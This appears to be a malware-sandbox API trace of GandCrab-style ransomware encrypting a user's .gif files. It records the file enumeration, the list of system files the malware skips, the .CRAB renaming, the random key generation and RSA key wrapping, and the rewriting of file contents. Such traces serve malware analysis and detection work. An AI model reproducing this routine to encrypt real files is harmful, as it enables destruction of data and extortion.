	[0132.503] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.504] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.504] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.504] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.504] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.504] lstrcmpW (lpString1="sHfL2n.gif", lpString2=".") returned 1
	[0132.504] lstrcmpW (lpString1="sHfL2n.gif", lpString2="..") returned 1
	[0132.504] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="sHfL2n.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif"
	[0132.505] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.505] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif") returned 58
	[0132.505] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif") returned 58
	[0132.505] lstrlenW (lpString=".gif") returned 4
	[0132.505] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.521] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.521] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif") returned 58
	[0132.522] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif") returned 58
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="desktop.ini") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="autorun.inf") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="ntuser.dat") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="iconcache.db") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="bootsect.bak") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="boot.ini") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="ntuser.dat.log") returned 1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="thumbs.db") returned -1
	[0132.522] lstrcmpiW (lpString1="sHfL2n.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.522] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.523] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB") returned 63
	[0132.523] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\shfl2n.gif")) returned 0x20
	[0132.523] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif", dwFileAttributes=0x20) returned 1
	[0132.523] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\shfl2n.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\shfl2n.gif.crab")) returned 1
	[0132.524] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.524] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB"
	[0132.525] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB.CRAB"
	[0132.525] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e6b0) returned 1
	[0132.528] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.528] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.528] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.528] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.528] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0132.528] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.528] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6ed98) returned 1
	[0132.531] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.532] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.532] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.532] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0132.532] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.532] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.532] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.533] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.535] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e7d0) returned 1
	[0132.535] CryptGetKeyParam (in: hKey=0x320e7d0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.535] CryptEncrypt (in: hKey=0x320e7d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.536] GetLastError () returned 0x0
	[0132.536] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.536] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e9e0) returned 1
	[0132.538] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e590) returned 1
	[0132.539] CryptGetKeyParam (in: hKey=0x320e590, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.539] CryptEncrypt (in: hKey=0x320e590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.539] GetLastError () returned 0x0
	[0132.539] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.539] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\sHfL2n.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\shfl2n.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.541] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.541] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.541] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xa042, lpOverlapped=0x0) returned 1
	[0132.553] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.554] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.555] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.556] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff5fbe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.556] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xa050, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xa050, lpOverlapped=0x0) returned 1
	[0132.556] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.557] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.560] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.560] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.560] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.561] CloseHandle (hObject=0x3f0) returned 1
	[0132.561] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.561] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.561] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.561] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.562] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.562] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.562] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0132.562] lstrcmpW (lpString1="vgKSZ1H j.gif", lpString2=".") returned 1
	[0132.562] lstrcmpW (lpString1="vgKSZ1H j.gif", lpString2="..") returned 1
	[0132.562] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\", lpString2="vgKSZ1H j.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif"
	[0132.562] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.562] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif") returned 61
	[0132.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif") returned 61
	[0132.563] lstrlenW (lpString=".gif") returned 4
	[0132.563] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.563] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.563] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif") returned 61
	[0132.563] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif") returned 61
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="desktop.ini") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="autorun.inf") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="ntuser.dat") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="iconcache.db") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="bootsect.bak") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="boot.ini") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="ntuser.dat.log") returned 1
	[0132.563] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="thumbs.db") returned 1
	[0132.564] lstrcmpiW (lpString1="vgKSZ1H j.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.564] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.564] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB") returned 66
	[0132.564] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\vgksz1h j.gif")) returned 0x20
	[0132.564] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif", dwFileAttributes=0x20) returned 1
	[0132.564] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\vgksz1h j.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\vgksz1h j.gif.crab")) returned 1
	[0132.565] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.566] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB"
	[0132.566] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB.CRAB"
	[0132.566] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.568] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.569] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.569] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.569] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0132.569] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.569] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.570] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0132.573] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.574] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.574] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.574] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0132.574] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.574] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.574] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.574] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.575] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e7c0) returned 1
	[0132.577] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e5d0) returned 1
	[0132.577] CryptGetKeyParam (in: hKey=0x320e5d0, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.577] CryptEncrypt (in: hKey=0x320e5d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0132.578] GetLastError () returned 0x0
	[0132.578] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0132.578] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0132.580] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x320e650) returned 1
	[0132.580] CryptGetKeyParam (in: hKey=0x320e650, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0132.580] CryptEncrypt (in: hKey=0x320e650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0132.581] GetLastError () returned 0x0
	[0132.581] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.581] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\5uLKDR9ae\\vgKSZ1H j.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\5ulkdr9ae\\vgksz1h j.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0132.581] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.582] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.582] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xe5ce, lpOverlapped=0x0) returned 1
	[0132.594] VirtualAlloc (lpAddress=0x0, dwSize=0xe5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.595] VirtualAlloc (lpAddress=0x0, dwSize=0xe5d0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.597] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.597] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff1a32, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.597] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xe5d0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xe5d0, lpOverlapped=0x0) returned 1
	[0132.598] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.598] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.602] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.602] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0132.602] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0132.602] CloseHandle (hObject=0x3f0) returned 1
	[0132.602] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.602] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.602] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.603] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.603] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.603] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.604] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0132.604] FindClose (in: hFindFile=0x320e0d0 | out: hFindFile=0x320e0d0) returned 1
	[0132.604] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.604] lstrcmpW (lpString1="AYBe 2EG.gif", lpString2=".") returned 1
	[0132.604] lstrcmpW (lpString1="AYBe 2EG.gif", lpString2="..") returned 1
	[0132.604] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="AYBe 2EG.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif"
	[0132.604] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.604] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif") returned 50
	[0132.604] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif") returned 50
	[0132.604] lstrlenW (lpString=".gif") returned 4
	[0132.604] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.604] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.605] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif") returned 50
	[0132.605] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\AYBe 2EG.gif") returned 50
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="desktop.ini") returned -1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="autorun.inf") returned 1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="ntuser.dat") returned -1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="iconcache.db") returned -1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="bootsect.bak") returned -1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="boot.ini") returned -1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="ntuser.dat.log") returned -1
	[0132.605] lstrcmpiW (lpString1="AYBe 2EG.gif", lpString2="thumbs.db") returned -1
